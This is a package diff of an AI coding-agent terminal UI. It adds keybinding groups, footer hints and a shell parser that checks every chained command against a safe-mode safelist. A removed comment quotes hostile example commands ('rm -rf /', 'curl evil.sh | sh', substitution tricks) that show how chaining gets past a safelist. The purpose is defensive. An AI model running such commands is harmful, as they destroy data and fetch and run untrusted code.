zidane 5.6.0 → 5.6.3

package/dist/{turn-operations-fhinWY4m.js → turn-operations-CH7rnULP.js}

@@ -1,10 +1,10 @@
-import { H as previewLine, R as fmtTokens, U as shortId, a as multiEdit, c as grep, d as resolveOldString, f as styleReplacementForVia, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, t as writeFile$1, u as edit, y as shell } from "./tools-Co3VYhgM.js";
+import { H as previewLine, R as fmtTokens, U as shortId, a as multiEdit, c as grep, d as resolveOldString, f as styleReplacementForVia, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, t as writeFile$1, u as edit, y as shell } from "./tools-Bgx8OBqK.js";
 import { c as errorMessage } from "./errors-DdZXnyXE.js";
 import { r as toolResultToText } from "./types-oKPBdCmL.js";
 import { r as normalizeMcpServers } from "./mcp-ngMS0S6N.js";
-import { a as discoverSkills } from "./interpolate-j5V-wcAQ.js";
+import { a as discoverSkills } from "./interpolate-DM1UcKeQ.js";
 import { n as formatTokenUsage } from "./stats-Lc3zL3RM.js";
-import { n as definePreset, t as composePresets } from "./presets-BDCthpyD.js";
+import { n as definePreset, t as composePresets } from "./presets-ZT3TJDEb.js";
 import { a as writeFileAtomic, i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-CaJE2ToS.js";
 import { createRequire } from "node:module";
 import { dirname, isAbsolute, join, posix, relative, resolve, sep } from "node:path";
@@ -12,6 +12,7 @@ import { homedir, tmpdir } from "node:os";
 import { spawn } from "node:child_process";
 import { chmodSync, createReadStream, createWriteStream, existsSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, renameSync, rmSync, statSync, writeFileSync } from "node:fs";
 import { readdir, stat, writeFile } from "node:fs/promises";
+import { Buffer as Buffer$1 } from "node:buffer";
 import { getModel, getModels } from "@mariozechner/pi-ai";
 import { anthropicOAuthProvider, openaiCodexOAuthProvider } from "@mariozechner/pi-ai/oauth";
 import { createHash } from "node:crypto";
@@ -2961,127 +2962,162 @@ const KEYBINDING_DEFS = [
 		action: "openSettings",
 		default: "ctrl+o",
 		label: "settings",
-		description: "open the Settings modal (toggles, theme, keybindings)"
+		description: "open the Settings modal (toggles, theme, keybindings)",
+		group: "Global"
 	},
 	{
 		action: "openSessionDetails",
 		default: "ctrl+x",
 		label: "session",
-		description: "open the session details modal (stats, export, delete, rename)"
+		description: "open the session details modal (stats, export, delete, rename)",
+		group: "Global"
 	},
 	{
 		action: "openModelPicker",
 		default: "ctrl+m",
 		label: "model",
-		description: "open the cross-provider model picker"
+		description: "open the cross-provider model picker",
+		group: "Global"
 	},
 	{
 		action: "openEffortPicker",
 		default: "ctrl+l",
 		label: "effort",
-		description: "open the reasoning-effort picker (when the active model supports it)"
+		description: "open the reasoning-effort picker (when the active model supports it)",
+		group: "Global"
 	},
 	{
 		action: "openTodos",
 		default: "ctrl+t",
 		label: "todos",
-		description: "open the active run's todo list (the agent's `todowrite` checkpoints)"
+		description: "open the active run's todo list (the agent's `todowrite` checkpoints)",
+		group: "Global"
+	},
+	{
+		action: "openKeybindings",
+		default: "ctrl+y",
+		label: "keybindings",
+		description: "open the keybindings panel — list every shortcut and jump to the keybindings.json file",
+		group: "Global"
 	},
 	{
 		action: "cycleAgent",
 		default: "shift+tab",
 		label: "cycle agent",
-		description: "cycle to the next agent profile (when multiple profiles are registered)"
+		description: "cycle to the next agent profile (when multiple profiles are registered)",
+		group: "Global"
 	},
 	{
 		action: "enterSelectTurnMode",
 		default: "ctrl+s",
 		label: "messages",
-		description: "enter select-turn mode to navigate previous messages"
+		description: "enter select-turn mode to navigate previous messages",
+		group: "Global"
 	},
 	{
 		action: "cancelToolCall",
 		default: "ctrl+k",
 		label: "cancel tool",
-		description: "open the in-flight tool picker to cancel a single tool call without aborting the run (esc still aborts the whole run)"
+		description: "open the in-flight tool picker to cancel a single tool call without aborting the run (esc still aborts the whole run)",
+		group: "Global"
+	},
+	{
+		action: "changeCwd",
+		default: "ctrl+g",
+		label: "cwd",
+		description: "open the directory picker to change the working directory",
+		group: "Global"
 	},
 	{
 		action: "enterQueueSelection",
 		default: "",
 		label: "select queue",
-		description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)"
+		description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)",
+		group: "Message queue"
 	},
 	{
 		action: "pushQueuedMessage",
 		default: "ctrl+return",
 		label: "push",
-		description: "steer the selected queued message into the live run (delivered between tool calls)"
+		description: "steer the selected queued message into the live run (delivered between tool calls)",
+		group: "Message queue"
 	},
 	{
 		action: "dropQueuedMessage",
 		default: "backspace",
 		label: "drop",
-		description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)"
+		description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)",
+		group: "Message queue"
 	},
 	{
 		action: "turnFork",
 		default: "f",
 		label: "fork",
-		description: "fork the session at the selected turn (two-press confirm)"
+		description: "fork the session at the selected turn (two-press confirm)",
+		group: "Turn details"
 	},
 	{
 		action: "turnDelete",
 		default: "d",
 		label: "delete",
-		description: "delete the selected turn (two-press confirm)"
+		description: "delete the selected turn (two-press confirm)",
+		group: "Turn details"
 	},
 	{
 		action: "turnCopy",
 		default: "c",
 		label: "copy",
-		description: "copy the selected turn content to the clipboard (OSC 52)"
+		description: "copy the selected turn content to the clipboard (OSC 52)",
+		group: "Turn details"
 	},
 	{
 		action: "turnEdit",
 		default: "e",
 		label: "edit",
-		description: "edit the text content of the selected turn"
+		description: "edit the text content of the selected turn",
+		group: "Turn details"
 	},
 	{
 		action: "sessionDelete",
 		default: "d",
 		label: "delete",
-		description: "delete the entire session (two-press confirm)"
+		description: "delete the entire session (two-press confirm)",
+		group: "Session details"
 	},
 	{
 		action: "sessionCopyId",
 		default: "c",
 		label: "copy id",
-		description: "copy the full session id to the clipboard (OSC 52)"
+		description: "copy the full session id to the clipboard (OSC 52)",
+		group: "Session details"
 	},
 	{
 		action: "sessionGenerateTitle",
 		default: "g",
 		label: "generate title",
-		description: "generate a title for the session via the active provider/model"
+		description: "generate a title for the session via the active provider/model",
+		group: "Session details"
 	},
 	{
 		action: "sessionExportMarkdown",
 		default: "e",
 		label: "export md",
-		description: "export the session as Markdown under .{prefix}/sessions/"
+		description: "export the session as Markdown under .{prefix}/sessions/",
+		group: "Session details"
 	},
 	{
 		action: "sessionExportJson",
 		default: "j",
 		label: "export json",
-		description: "export the session as JSON under .{prefix}/sessions/"
+		description: "export the session as JSON under .{prefix}/sessions/",
+		group: "Session details"
 	},
 	{
 		action: "sessionCompact",
 		default: "k",
 		label: "compact",
-		description: "compact older turns via an LLM summary (model still sees everything from the boundary down)"
+		description: "compact older turns via an LLM summary (model still sees everything from the boundary down)",
+		group: "Session details"
 	}
 ];
 /** Index by action for O(1) lookup of label / description / default. */
@@ -3181,6 +3217,39 @@ function matchesBinding(event, spec) {
 	if ((event.name ?? "").toLowerCase() !== parsed.name) return false;
 	return true;
 }
+/** Verbose key names → compact single-cell glyphs used by hint rows. */
+const KEY_GLYPHS = {
+	up: "↑",
+	down: "↓",
+	left: "←",
+	right: "→",
+	return: "↵",
+	enter: "↵",
+	delete: "⌫",
+	backspace: "⌫",
+	escape: "esc",
+	space: "␣",
+	tab: "⇥"
+};
+/**
+* Render a binding spec (`"ctrl+return"`, `"backspace"`, `"delete"`) as a
+* compact display string the user recognizes at a glance. Substitutes
+* arrow / enter / backspace glyphs for their verbose names so the hint
+* row stays narrow; modifier names + plain keys pass through unchanged.
+*
+* Empty / missing specs return an empty string — callers decide whether
+* to render a placeholder (e.g. `'—'` for an unbound action in the
+* keybindings panel) or hide the surface entirely (e.g. hint rows that
+* fall back to a different chord when the binding is empty).
+*/
+function formatBindingForDisplay(spec) {
+	if (!spec) return "";
+	const segments = spec.toLowerCase().split("+");
+	const key = segments.pop() ?? "";
+	const modifiers = segments.join("+");
+	const glyph = KEY_GLYPHS[key] ?? key;
+	return modifiers ? `${modifiers}+${glyph}` : glyph;
+}
 /**
 * Merge a partial map of user overrides into the defaults. Unknown
 * action keys are dropped (a future TUI version may have retired the
@@ -4300,10 +4369,27 @@ function eventsFromTurns(turns, runs = []) {
 						kind: "separator",
 						text: ""
 					});
+					const attachments = [];
+					for (const sibling of turn.content) if (sibling.type === "image") {
+						const raw = typeof sibling.data === "string" ? Buffer$1.from(sibling.data, "base64") : sibling.data;
+						attachments.push({
+							name: sibling.name ?? "image",
+							mediaType: sibling.mediaType,
+							size: raw.length
+						});
+					} else if (sibling !== block && sibling.type === "text") {
+						const m = sibling.text.match(/^<attachment\s+(?:name="([^"]+)"\s*)?(?:media_type="([^"]+)")?/);
+						if (m) attachments.push({
+							name: m[1] ?? "attachment",
+							mediaType: m[2] ?? "text/plain",
+							size: sibling.text.length
+						});
+					}
 					events.push({
 						kind: "user-prompt",
 						text: block.text,
-						turnId: turn.id
+						turnId: turn.id,
+						...attachments.length > 0 ? { attachments } : {}
 					});
 				}
 			} else if (block.type === "tool_result") {
@@ -5948,7 +6034,8 @@ const DEFAULT_SETTINGS = {
 	smoothStreaming: true,
 	showTodoIndicator: true,
 	showThrobber: false,
-	checkForUpdates: true
+	checkForUpdates: true,
+	uiMode: "full"
 };
 /**
 * Hard-clamp a `targetFps` value to a safe range before handing it to
@@ -6144,6 +6231,18 @@ const SETTINGS_CHOICES = [
 			label: t.label
 		}))
 	},
+	{
+		key: "uiMode",
+		label: "UI mode",
+		description: "chat-screen chrome density — full advertises every shortcut, minimal keeps only agent / model / keybindings + `@` · `/` triggers (rest reachable via `ctrl+y`)",
+		options: [{
+			value: "full",
+			label: "Full"
+		}, {
+			value: "minimal",
+			label: "Minimal"
+		}]
+	},
 	{
 		key: "targetFps",
 		label: "Renderer fps",
@@ -6411,6 +6510,177 @@ function toEntries(paths, source, maxFiles) {
 	return out;
 }
 //#endregion
+//#region src/chat/footer-hints.ts
+/**
+* Build the footer's shortcut hints for the current screen. On the chat
+* screen the model id rides next to its `ctrl+m` shortcut and the agent
+* label rides next to `shift+tab`, each in its accent color — the bar
+* doubles as the status display without needing separate badges. When
+* the active model exposes reasoning, the `ctrl+m` hint grows a
+* secondary `/n` chord with the current effort label, surfacing the
+* effort picker as a discoverable, in-place affordance.
+*/
+function buildHints(options) {
+	const { screen, busy, pending, pendingInteractionLive, pendingInteractionResumed, currentSession, hasMultipleAgents, uiMode, modelLabel, modelColor, effortLabel, effortColor, effortKeyColor, agentLabel, agentColor, keybindings, inFlightToolCount, activeSkillCount, skillsChipColor, updateHint } = options;
+	if (pending) return [
+		{
+			key: "↑↓",
+			label: "navigate"
+		},
+		{
+			key: "↵",
+			label: "select"
+		},
+		{
+			key: "esc",
+			label: "abort run"
+		}
+	];
+	if (pendingInteractionLive) return [
+		{
+			key: "↑↓",
+			label: "navigate"
+		},
+		{
+			key: "↵",
+			label: "select"
+		},
+		{
+			key: "esc",
+			label: "abort run"
+		}
+	];
+	if (pendingInteractionResumed) return [
+		{
+			key: "↑↓",
+			label: "navigate"
+		},
+		{
+			key: "↵",
+			label: "select"
+		},
+		{
+			key: "esc",
+			label: "leave for later"
+		}
+	];
+	if (busy) {
+		const baseBusyHints = [];
+		if (inFlightToolCount > 0) baseBusyHints.push({
+			key: keybindings.cancelToolCall,
+			label: inFlightToolCount === 1 ? "cancel" : `cancel (${inFlightToolCount})`
+		});
+		baseBusyHints.push({
+			key: "esc",
+			label: "abort"
+		});
+		return baseBusyHints;
+	}
+	if (screen === "auth") return [
+		{
+			key: "↑↓",
+			label: "navigate"
+		},
+		{
+			key: "↵",
+			label: "select"
+		},
+		{
+			key: "esc",
+			label: "exit"
+		}
+	];
+	if (screen === "sessions") return [
+		{
+			key: "↑↓",
+			label: "navigate"
+		},
+		{
+			key: "↵",
+			label: "open"
+		},
+		{
+			key: keybindings.openSessionDetails,
+			label: "session"
+		},
+		{
+			key: keybindings.openSettings,
+			label: "settings"
+		},
+		{
+			key: "esc",
+			label: currentSession ? "back" : "exit"
+		}
+	];
+	const modelHint = modelLabel ? {
+		key: keybindings.openModelPicker,
+		label: modelLabel,
+		labelColor: modelColor,
+		...effortLabel ? { extra: {
+			key: shortChord(keybindings.openEffortPicker),
+			keyColor: effortKeyColor,
+			label: effortLabel,
+			labelColor: effortColor
+		} } : {}
+	} : null;
+	const skillsChip = activeSkillCount > 0 ? {
+		key: "✦",
+		keyColor: skillsChipColor,
+		label: activeSkillCount === 1 ? "1 skill" : `${activeSkillCount} skills`,
+		labelColor: skillsChipColor
+	} : null;
+	const cancelTaskChip = inFlightToolCount > 0 ? {
+		key: keybindings.cancelToolCall,
+		label: inFlightToolCount === 1 ? "cancel task" : `cancel task (${inFlightToolCount})`
+	} : null;
+	if (uiMode === "minimal") return [
+		...hasMultipleAgents ? [{
+			key: keybindings.cycleAgent,
+			label: agentLabel,
+			labelColor: agentColor
+		}] : [],
+		...modelHint ? [modelHint] : [],
+		{
+			key: keybindings.openKeybindings,
+			label: "keybindings"
+		}
+	];
+	return [
+		...hasMultipleAgents ? [{
+			key: keybindings.cycleAgent,
+			label: agentLabel,
+			labelColor: agentColor
+		}] : [],
+		...modelHint ? [modelHint] : [],
+		...skillsChip ? [skillsChip] : [],
+		...cancelTaskChip ? [cancelTaskChip] : [],
+		...currentSession ? [{
+			key: keybindings.openSessionDetails,
+			label: "session"
+		}] : [],
+		{
+			key: keybindings.openSettings,
+			label: "settings"
+		},
+		{
+			key: "esc",
+			label: "sessions"
+		},
+		...updateHint ? [updateHint] : []
+	];
+}
+/**
+* Shorten a binding spec for display as a "chord continuation" — the
+* `/n` after `ctrl+m model` in the chat footer. We only strip the
+* `ctrl+` prefix so user-customized chords (`alt+n`, `meta+shift+n`)
+* still render in full. Falls back to the verbatim spec when no
+* `ctrl+` prefix is found, which keeps the visual contract honest:
+* the rendered key always matches the bound trigger.
+*/
+function shortChord(spec) {
+	return spec.startsWith("ctrl+") ? `/${spec.slice(5)}` : spec;
+}
+//#endregion
 //#region src/chat/generate-title.ts
 /** Hard cap on the result length. Anything longer is truncated client-side. */
 const TITLE_MAX_CHARS = 60;
@@ -6546,7 +6816,14 @@ function hintsLength(hints) {
 function hintLength(h) {
 	return h.key.length + 1 + h.label.length + (h.extra ? h.extra.key.length + 1 + h.extra.label.length : 0);
 }
-/** Stable empty list so callers can compare by reference. */
+/**
+* Stable empty list so callers can compare by reference. Exported so
+* any consumer that needs to feed "no primary hints" into the same
+* `clipHintsToWidth` / `renderHintSpans` pipeline (e.g. the TUI's
+* minimal UI mode, where the prompt overlay shows only `@` / `/`
+* triggers) reuses the same frozen array instead of allocating a new
+* one each render.
+*/
 const EMPTY_HINTS = Object.freeze([]);
 /**
 * Return the longest prefix of `hints` whose rendered width fits within
@@ -7810,6 +8087,248 @@ function splitPromptSegments(text, refs) {
 	return out;
 }
 //#endregion
+//#region src/chat/shell-parse.ts
+/**
+* Lightweight shell command parser for safelist enforcement.
+*
+* Extracts the head token (program name) of every command in a bash
+* command string — including chains (`&&`, `||`, `;`), pipes (`|`),
+* subshells (`(…)`), and command substitutions (`$(…)` and backticks).
+*
+* Handles quoting (`'…'`, `"…"`, `\x`), variable assignments
+* (`NAME=val`), I/O redirection, and the `!` negation prefix.
+*
+* Returns `null` when parsing fails so callers can fall back to
+* prompting (safe default).
+*/
+function extractCommandHeads(command) {
+	try {
+		const p = new ShellParser(command);
+		p.list();
+		return p.heads;
+	} catch {
+		return null;
+	}
+}
+const META = new Set(" 	\n\r;|&()<>".split(""));
+var ShellParser = class ShellParser {
+	s;
+	heads = [];
+	i = 0;
+	constructor(s) {
+		this.s = s;
+	}
+	/** Command list — pipelines separated by `;`, `&&`, `||`, `\n`, `&`. */
+	list(closer) {
+		for (;;) {
+			this.ws();
+			if (this.end(closer)) return;
+			this.pipeline(closer);
+			this.ws();
+			if (this.end(closer)) return;
+			const c = this.c();
+			if (c === ";" || c === "\n" || c === "\r") {
+				this.i++;
+				continue;
+			}
+			if (this.is("&&") || this.is("||")) {
+				this.i += 2;
+				continue;
+			}
+			if (c === "&") {
+				this.i++;
+				continue;
+			}
+			break;
+		}
+	}
+	/** Pipeline — simple commands separated by `|` (not `||`). */
+	pipeline(closer) {
+		this.cmd(closer);
+		for (;;) {
+			this.ws();
+			if (this.c() === "|" && !this.is("||")) {
+				this.i++;
+				this.cmd(closer);
+			} else break;
+		}
+	}
+	/** Simple command — extract head, skip remaining arguments. */
+	cmd(closer) {
+		this.ws();
+		if (this.i >= this.s.length) return;
+		if (closer && this.c() === closer) return;
+		if (this.c() === "(") {
+			this.i++;
+			this.list(")");
+			return;
+		}
+		if (this.c() === "!" && this.i + 1 < this.s.length && (this.s[this.i + 1] === " " || this.s[this.i + 1] === "	")) {
+			this.i++;
+			this.ws();
+		}
+		while (this.i < this.s.length && !this.sep(closer)) {
+			if (this.c() === "(") {
+				this.i++;
+				this.list(")");
+				break;
+			}
+			const w = this.word();
+			if (!w) break;
+			if (isAssignment(w)) {
+				this.ws();
+				continue;
+			}
+			this.heads.push(w);
+			break;
+		}
+		this.tail(closer);
+	}
+	/** Read one shell word, handling quoting and substitutions. */
+	word() {
+		let out = "";
+		while (this.i < this.s.length) {
+			const c = this.c();
+			if (META.has(c)) break;
+			if (c === "\\" && this.i + 1 < this.s.length) {
+				out += this.s[this.i + 1];
+				this.i += 2;
+				continue;
+			}
+			if (c === "'") {
+				this.i++;
+				while (this.i < this.s.length && this.s[this.i] !== "'") out += this.s[this.i++];
+				if (this.i < this.s.length) this.i++;
+				continue;
+			}
+			if (c === "\"") {
+				out += this.dquote();
+				continue;
+			}
+			if (this.is("$(")) {
+				this.i += 2;
+				this.list(")");
+				continue;
+			}
+			if (c === "`") {
+				this.btick();
+				continue;
+			}
+			out += c;
+			this.i++;
+		}
+		return out;
+	}
+	/** Double-quoted string — returns literal chars, recurses into substitutions. */
+	dquote() {
+		this.i++;
+		let out = "";
+		while (this.i < this.s.length && this.s[this.i] !== "\"") {
+			if (this.s[this.i] === "\\" && this.i + 1 < this.s.length) {
+				out += this.s[this.i + 1];
+				this.i += 2;
+				continue;
+			}
+			if (this.is("$(")) {
+				this.i += 2;
+				this.list(")");
+				continue;
+			}
+			if (this.s[this.i] === "`") {
+				this.btick();
+				continue;
+			}
+			out += this.s[this.i++];
+		}
+		if (this.i < this.s.length) this.i++;
+		return out;
+	}
+	/** Backtick substitution — creates a sub-parser for the inner content. */
+	btick() {
+		this.i++;
+		const close = this.s.indexOf("`", this.i);
+		const sub = new ShellParser(close < 0 ? this.s.slice(this.i) : this.s.slice(this.i, close));
+		sub.list();
+		this.heads.push(...sub.heads);
+		this.i = close < 0 ? this.s.length : close + 1;
+	}
+	/** Skip remaining arguments and redirections until the next command boundary. */
+	tail(closer) {
+		while (this.i < this.s.length) {
+			this.ws();
+			if (this.i >= this.s.length || this.sep(closer)) break;
+			if (this.redir()) continue;
+			if (this.c() === "(") {
+				this.i++;
+				this.list(")");
+				continue;
+			}
+			if (!this.word()) break;
+		}
+	}
+	/** Try to consume an I/O redirection operator + target. Returns true if consumed. */
+	redir() {
+		const c = this.c();
+		let yes = c === "<" || c === ">";
+		if (!yes && c >= "0" && c <= "9" && this.i + 1 < this.s.length) {
+			const n = this.s[this.i + 1];
+			yes = n === "<" || n === ">";
+		}
+		if (!yes) return false;
+		while (this.i < this.s.length && this.s[this.i] >= "0" && this.s[this.i] <= "9") this.i++;
+		if (this.c() === ">") {
+			this.i++;
+			if (this.c() === ">") this.i++;
+			if (this.c() === "&") {
+				this.i++;
+				while (this.i < this.s.length && this.s[this.i] >= "0" && this.s[this.i] <= "9") this.i++;
+				return true;
+			}
+		} else if (this.c() === "<") {
+			this.i++;
+			if (this.c() === "<") {
+				this.i++;
+				if (this.c() === "-") this.i++;
+			}
+		}
+		this.ws();
+		this.word();
+		return true;
+	}
+	/** True at a command boundary (`;`, `\n`, `&`, `|`, `)`, or closer). */
+	sep(closer) {
+		const c = this.c();
+		if (c === ";" || c === "\n" || c === "\r" || c === "&" || c === ")") return true;
+		if (c === "|") return true;
+		if (closer && c === closer) return true;
+		return false;
+	}
+	/** True when past end or at closer (closer is consumed). */
+	end(closer) {
+		if (this.i >= this.s.length) return true;
+		if (closer && this.c() === closer) {
+			this.i++;
+			return true;
+		}
+		return false;
+	}
+	c() {
+		return this.s[this.i] ?? "";
+	}
+	is(s) {
+		return this.s.startsWith(s, this.i);
+	}
+	ws() {
+		while (this.i < this.s.length && (this.s[this.i] === " " || this.s[this.i] === "	")) this.i++;
+	}
+};
+/** `NAME=…` where NAME is a valid shell identifier. */
+function isAssignment(w) {
+	const eq = w.indexOf("=");
+	if (eq <= 0) return false;
+	return /^[A-Z_]\w*$/i.test(w.slice(0, eq));
+}
+//#endregion
 //#region src/chat/safe-mode.ts
 /**
 * Safe-mode storage + matching for the TUI.
@@ -7935,66 +8454,23 @@ function primaryArgToken(input) {
 	return primaryArgValue(input).trim().split(/\s+/)[0] ?? "";
 }
 /**
-* Shell features that introduce a SECOND, UNRELATED command into the
-* pipeline — and would silently bypass a `shell:<head>:*` safelist that
-* the user only meant to cover the head program. We block these
-* specifically:
-*
-*   - `;`         — sequence operator (`git status; rm -rf /`)
-*   - `&&` / `||` — and-/or-chains (`git status && curl evil.sh | sh`)
-*   - `\n` / `\r` — multi-line scripts, equivalent to `;`
-*   - `` ` ``     — backtick command substitution (`echo \`rm -rf /\``)
-*   - `$(…)`      — modern command substitution (`echo $(rm -rf /)`)
-*
-* We deliberately do NOT block:
-*
-*   - `|`         — pipes; required for the bread-and-butter CLI pattern
-*                   `sentry issue list … | jq -r '.[]'`.
-*   - `>` / `>>` / `<` / `2>&1` — I/O redirection; `cmd > out.txt` and
-*                   `cmd 2>&1 | jq` are normal CLI usage.
-*   - `&` (alone) — backgrounding; runs the same command in the background
-*                   rather than chaining a new one.
-*   - `(…)`       — subshells; rare in practice, and the chaining
-*                   detectors above already catch the dangerous content
-*                   that would typically live inside them.
-*
-* Trade-off: a model that controls the output of the safelisted head
-* command could in principle pipe garbage into a destructive tool
-* (`sentry list | sh`). The original implementation blocked all
-* metacharacters to avoid that risk, but it made `shell:<head>:*`
-* unusable for real CLI workflows — users hit the prompt on every
-* `cmd | jq` and learned to ignore the modal. Allowing pipes/redirects
-* trusts the user's explicit "I want everything starting with <head>"
-* decision; the chaining rejections above keep the obvious escape
-* hatches closed.
-*
-* The regex is intentionally generous: false positives (e.g. a literal
-* `&&` inside a quoted argument) just prompt the user again, which is
-* the safe failure mode.
-*/
-const SHELL_CHAINING_RE = /&&|\|\||\$\(|[;`\n\r]/;
-function hasShellChaining(command) {
-	return SHELL_CHAINING_RE.test(command);
-}
-/**
 * Test whether a `{ tool, input }` pair is covered by one safelist entry.
 *
 * Supported entry shapes:
-*   - `"<tool>"` — broad match on tool name. For `shell`, the command
-*     must not chain through another program (see {@link SHELL_CHAINING_RE}).
+*   - `"<tool>"` — broad match on tool name.
 *   - `"<tool>:<token>:*"` — match when the primary arg's first token
-*     equals `<token>`. For `shell`, same chaining gate as above. Pipes
-*     and redirects are allowed so `shell:sentry:*` covers the typical
-*     `sentry … | jq …` workflow.
+*     equals `<token>`.
+*
+* This function matches a **single command** against a **single entry**.
+* For shell commands that chain multiple programs (`&&`, `||`, `;`,
+* `$(…)`, etc.), use {@link isOnSafelist} which parses the full command
+* and checks every head token independently.
 *
 * Entries that don't fit either shape are ignored (forward-compat for
 * future pattern syntax — readers shouldn't choke on entries written
 * by a newer version of the TUI).
 */
 function matchesSafelistEntry(entry, tool, input) {
-	if (tool === "shell") {
-		if (hasShellChaining(typeof input.command === "string" ? input.command : "")) return false;
-	}
 	if (entry === tool) return true;
 	const sep = entry.indexOf(":");
 	if (sep <= 0) return false;
@@ -8003,9 +8479,26 @@ function matchesSafelistEntry(entry, tool, input) {
 	if (scope.endsWith(":*")) return primaryArgToken(input) === scope.slice(0, -2);
 	return false;
 }
-/** True when a call matches ANY entry in the project's safelist (or is implicitly safe). */
+/**
+* True when a call matches ANY entry in the project's safelist (or is
+* implicitly safe).
+*
+* For `shell` commands, the full command string is parsed into individual
+* commands (handling `&&`, `||`, `;`, `|`, `$(…)`, backticks, subshells).
+* Every command head must be covered by at least one safelist entry for
+* the call to pass. If parsing fails, returns `false` (prompt the user).
+*/
 function isOnSafelist(entries, tool, input) {
 	if (IMPLICITLY_SAFE_TOOLS.includes(tool)) return true;
+	if (tool === "shell") {
+		const heads = extractCommandHeads(typeof input.command === "string" ? input.command : "");
+		if (heads === null) return false;
+		if (heads.length === 0) return entries.some((e) => matchesSafelistEntry(e, tool, input));
+		return heads.every((head) => entries.some((e) => matchesSafelistEntry(e, tool, {
+			...input,
+			command: head
+		})));
+	}
 	return entries.some((e) => matchesSafelistEntry(e, tool, input));
 }
 /**
@@ -9296,6 +9789,6 @@ function countNeighbors(turnIds, turnId) {
 	};
 }
 //#endregion
-export { patchMcpCredential as $, blendHsl as $n, getTodosForRun as $r, lastContextSizeFromTurns as $t, getSafelist as A, summarizeOutcomes as An, getContextWindow as Ar, BUILTIN_THEMES as At, oauthUsesManualCodePaste as B, readKeybindings as Bn, DEFAULT_BUDGET_EXCLUDE_TOOLS as Br, DiscoveryProvider as Bt, resolveSessionExportTarget as C, buildEditOutcomesAnnotation as Cn, writeCredentials as Cr, useEnabledToggleSet as Ct, useSafeModeQueue as D, resolveApprovalForPayload as Dn, cerebrasDescriptor as Dr, SettingsProvider as Dt, useSafeModeActions as E, parseEditOutcomesFromResult as En, anthropicDescriptor as Er, SETTINGS_TOGGLES as Et, suggestSafelistEntry as F, ensureKeybindingsFile as Fn, openrouterDescriptor as Fr, CATPPUCCIN_FRAPPE as Ft, indexOfEntry as G, FILES_TRIGGER as Gn, singleAgentRegistry as Gr, resolveConfig as Gt, supportsOAuth as H, SKILLS_TRIGGER as Hn, PLAN_AGENT as Hr, useDiscoveryOptional as Ht, writeProjects as I, keybindingsPath as In, piIdOf as Ir, CATPPUCCIN_LATTE as It, discoverProjectMcps as J, applyInsert as Jn, TODOWRITE_TOOL as Jr, deriveSessionTitle as Jt, buildMcpServers as K, createFilesCompletionProvider as Kn, TODOREAD_TOOL as Kr, EDIT_TOOL_NAMES as Kt, splitPromptSegments as L, matchesBinding as Ln, BUILD_AGENT as Lr, CATPPUCCIN_MACCHIATO as Lt, matchesSafelistEntry as M, DEFAULT_KEYBINDINGS as Mn, modelSupportsReasoning as Mr, resolveChipColor as Mt, projectsFilePath as N, KEYBINDING_DEFS as Nn, modelsForDescriptor as Nr, resolveTheme as Nt, IMPLICITLY_SAFE_TOOLS as O, rewriteMultiEditHeader as On, credKeyOf as Or, clampFps as Ot, readProjects as P, KEYBINDING_DEF_BY_ACTION as Pn, openaiDescriptor as Pr, VAPORWAVE_THEME as Pt, mcpCredentialsPath as Q, useCompletion as Qn, getArchivedTodosForRun as Qr, isVisible as Qt, formatPathForCwd as R, mergeKeybindings as Rn, BUILTIN_AGENTS as Rr, CATPPUCCIN_MOCHA as Rt, renderSession as S, tokenize as Sn, setProviderCredential as Sr, listProjectFiles as St, SafeModeProvider as T, mergeApprovalAndBodyOutcomes as Tn, OUTPUT_RESERVE_TOKENS as Tr, SETTINGS_CHOICES as Tt, buildModelCatalog as U, createSkillsCompletionProvider as Un, accentColor as Ur, ConfigProvider as Ut, runOAuthLogin as V, stripJsonComments as Vn, DEFAULT_PERSIST_EXCLUDE_TOOLS as Vr, useDiscovery as Vt, filterModelCatalog as W, uniqueSkillNamesFromReferences as Wn, resolveAgentId as Wr, useConfig as Wt, projectUserPaths as X, findActiveTrigger as Xn, TODO_WRITE_COUNTS_METADATA_KEY as Xr, isEditErrorResult as Xt, parseMcpsFile as Y, collectReferences as Yn, TODO_STATUS_GLYPHS as Yr, eventsFromTurns as Yt, createFileMcpCredentialStore as Z, mergeReferences as Zn, createTodoTools as Zr, isTurnHighlighted as Zt, turnContextSize as _, buildPlanSystem as _i, extractEditPayload as _n, applyApiKeyEnv as _r, clipHintsToWidth as _t, computeTurnAnchors as a, useActiveTodos as ai, stripSpawnTokensLine as an, useUpdateCheck as ar, splitMarkdownCodeBlocks as at, defaultSkillScanPaths as b, splitLines as bn, readProviderCredential as br, cleanTitle as bt, formatToolCall as c, DOING_TASKS_DOCTRINE as ci, toolCallPreview as cn, detectLibc as cr, PRESENT_PLAN_TOOL as ct, useSelectStyle as d, INTERACTION_GUIDANCE_NO_PROMPTS as di, updateToolEventOutcomes as dn, performInPlaceSelfUpdate as dr, isInteractionTool as dt, isTodoTool as ei, listSessionMeta as en, buildLinearRamp as er, McpAuthProvider as et, useSurfaces as f, PLAN_MODE_DOCTRINE as fi, applyEditPayload as fn, performSelfUpdate as fr, makeRequestInteraction as ft, finalizeStreamingMarkdownForOwner as g, buildBuildSystem as gi, computeLineDiff as gn, detectAuth as gr, useInteractionsQueue as gt, finalizeStreamingMarkdown as h, TOKEN_DISCIPLINE_DOCTRINE as hi, computeInlineDiff as hn, shouldAutoCompact as hr, useInteractionsActions as ht, turnAsText as i, setTodosForRun as ii, selectableTurnIds as in, buildUpdateHint as ir, reduceMcpAuth as it, isOnSafelist as j, findGitRoot$1 as jn, getModelInfo as jr, DEFAULT_THEME as jt, addToSafelist as k, stripEditOutcomesAnnotation as kn, effectiveContextWindow as kr, useSettings as kt, ThemeProvider as l, IDENTITY_PREFIX as li, toolResultText as ln, detectPackageManager as lr, buildResumedToolResultsTurn as lt, useTheme as m, SUBAGENT_GUIDANCE as mi, buildUnifiedDiff as mn, AUTO_COMPACT_MIN_GROWTH_FRACTION as mr, serializeInteractionResponse as mt, 